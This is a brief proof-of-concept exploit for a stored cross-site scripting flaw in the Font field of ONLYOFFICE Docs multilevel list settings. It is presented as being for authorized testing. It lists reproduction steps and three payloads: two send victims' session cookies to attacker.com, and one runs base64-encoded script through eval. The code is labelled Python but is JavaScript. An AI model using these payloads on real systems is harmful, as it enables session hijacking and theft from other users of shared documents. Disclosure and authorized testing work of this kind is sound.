The following code is for security research and authorized testing only.
python
// CVE-2025-68935 PoC - XSS via Font field in Multilevel list settings
// Target: ONLYOFFICE Docs < 9.2.1
// Steps to reproduce:
// 1. Open a document in ONLYOFFICE Docs
// 2. Navigate to Multilevel list settings (Home > Multilevel list)
// 3. Click on settings/options
// 4. In the Font field, inject the following payload:
var xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';
var altPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?data=\'+btoa(document.cookie))">';
var domPayload = '<svg onload="eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))">';
// The payload will be stored and executed when other users view the document
// This PoC demonstrates the XSS vulnerability in the Font field
// Attack impact: Session hijacking, data theft, malicious operations